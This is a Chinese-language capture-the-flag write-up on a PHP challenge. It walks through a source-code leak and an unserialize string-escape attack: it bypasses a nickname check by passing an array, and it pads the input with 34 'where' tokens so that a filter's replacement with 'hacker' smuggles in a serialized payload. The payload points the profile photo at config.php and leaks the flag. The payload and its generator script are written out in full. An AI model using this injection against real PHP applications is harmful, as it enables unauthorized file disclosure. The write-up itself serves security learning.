前言:这里存在源文件泄露。用dirsearch扫一下就有了要记的加参数-e* -s 1
这里不作赘述。
发现有6个PHP文件的泄露。
解题:
发现在config.php文件里面有个fla参数。那基本方向就名确了。下面就是应该怎么打开这个文件呢。
在profile.php文件中发现了,有个file_get_config函数,这个函数可以打开文件。那也就是说:$profile[‘photo’]=config.php就好了。
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
在updata.php中发现了下面这个代码,也就是说我们要是直接用bp抓包在photo中传入config.php文件肯定是行不通的因为有upload和md5加密文件名挡住了。那么也就只能想办法看能不能把传入的照片被序列后的代码丢弃掉了。
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
在class.php文件里面有一个过滤函数,当在前端我们写入的数据要被传入数据库里面之前会被过滤一下。在黑名单中的字符串会被替换成hacker。
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
也就是这个:";}s:5:“photo”;s:10:“config.php”;}是我们要传入的被序列化后的字符串。}为啥要用这个符号呢,因为他还有一段if判断:如图
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
pre_match和strlen这俩函数如果我们传入的是个数组他就会返回false就可绕过了。那么数组被序列化之后是这样的:a:1:{i:0;a:4:{i:0;s:2:“hp”;i:1;s:3:“Len”;i:2;s:4:“hack”;i:3;s:3:“bad”;}}所以";}这个符号是为了闭合被序列化后的数组。
<?php
$x[]=array("hp","Len","hack","bad");
echo serialize($x);
?>
";}s:5:“photo”;s:10:“config.php”;}这个字符串长度是34,意思书我们传入数据例如:
<?php
$profile1['phone'] ='12345678907';
$profile1['email'] = '12341567974@qq.com';
$profile1['nickname'] =array('hack";}s:5:"photo";s:10:"config.php";}');
$profile1['photo'] = 'config.php';
echo strlen('";}s:5:"photo";s:10:"config.php";}')."<br>";
echo "<br>".serialize($profile1);
?>
要是能把上图中蓝色框框中的代码逃逸出来就好了。我们就能想到在黑名单过滤中那几个字符串会被换成hacker这个字符串,并且是先序列化再进行的过滤,也就是说要是我们能让它过滤之后不包括";}s:5:“photo”;s:10:“config.php”;}长度变长34这不就能把它逃逸出来了吗,然后发现每传入一个where就会变成hacker,长度就+1。这不就起飞了?那我们传入34个where就好了。自己一个个打太慢了。
<?php
$hack='where';
for ($i=0;$i<34;$i++){
$hacker.=$hack;
}
echo $hacker;
?>
这就解出来了,因为我们传入函数是在updata.php文件中的,所以随便注册一个账号,update.php传参的时候抓包一下传入我们的数据就好了。如图:
因为下面这个代码他是被base64编码了的。所以我们跳转到profile.php中去查看。
$photo = base64_encode(file_get_contents($profile['photo']))
解码一下:就得到flag了。
总结:这题还是比较有意思的,主要考察了代码审计、序列化和一些常见的函数漏洞。解题之前先把逻辑理清楚就会好很多了。